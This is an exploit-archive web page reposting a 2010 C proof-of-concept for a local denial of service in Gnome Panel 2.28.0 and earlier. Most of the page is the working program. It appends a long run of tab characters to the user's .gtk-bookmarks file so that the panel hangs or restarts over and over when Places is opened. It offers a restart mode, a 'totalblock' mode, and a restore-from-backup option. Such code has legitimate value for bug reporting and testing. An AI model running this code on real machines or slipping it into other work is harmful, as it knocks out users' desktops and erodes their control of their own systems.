首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Gnome Panel <= 2.28.0 Denial of Service PoC 0-day
来源:pietroliva@gmail.com 作者:Oliva 发布时间:2010-01-07  

# Tested on: ubuntu 9.10
# CVE :
# Code :

/*********************************************************************************
*         Gnome panel <= 2.28.0 denial of service poc 0-day   *
*       by  Pietro Oliva <pietroliva@gmail.com>    *
*           *
*       After executing this poc a backup file will be created             *
*                You can restore it by typing ./paneldos restore                 *
*           Using option restart gnome-panel will restart continuously           *
*          Using option totalblock you will need to remove the battery           *
*       After execution click application in the panel, then go to places        *
*                             and wait some seconds...       *
*       https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868        *
**********************************************************************************/

 

#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
 FILE *f;
 unsigned long i;
 printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n");
 if(!(f=fopen(".gtk-bookmarks","r")))
 {
  printf("%s","file not found! make sure you are running\nthis file from your home directory\n");
  return 1;
 }
 fclose(f);
 if((argv[1]==NULL))
 {
  printf("%s","please specify an argument!\n");
  printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
  return 1;
 }
 if(((strcmp(argv[1],"restart"))==0))
 i=9999;
 else if((strcmp(argv[1],"totalblock"))==0)
 i=99999;
 else if((strcmp(argv[1],"restore"))==0)
 {
  if(!(f=fopen(".backup","r")))
  {
   printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n");
   return 1;
  }
  fclose(f);
  system("cp .backup .gtk-bookmarks");
  printf("%s","succesfully restored!\n");
  return 0;
 }
 else
 {
  printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
  return 1;
 }
 if(!(f=fopen(".backup","r")))
 { 
  printf("%s","creating backup...\n");
  system("cp .gtk-bookmarks .backup");
 }
 else
 fclose(f);
 f=fopen(".gtk-bookmarks","a");
 printf("%s","starting...\n");
 fwrite("file:///home ",1,13,f);
 while(i>0)
 {
  fwrite("\ta",1,2,f);
  i--;
 }
 fclose(f);
 printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n");
 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Total Multimedia Features DoS
·Microsoft HTML Help Compiler (
·D-LINK DKVM-IP8 XSS Vulnerabil
·Kantaris 0.5.6 local Denial of
·DirectAdmin <= 1.33.6 Symlink
·ttplayer=5.6Beta3 Dos POC
·Apple QuickTime 7.2/7.3 RTSP B
·JcomBand toolbar on IE ActiveX
· Novell eDirectory 8.8 SP5 (Po
·flashget 3.x IEHelper remote e
·Mac OS X versions 10.5 and 10.
·GOM Audio Local crash poc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved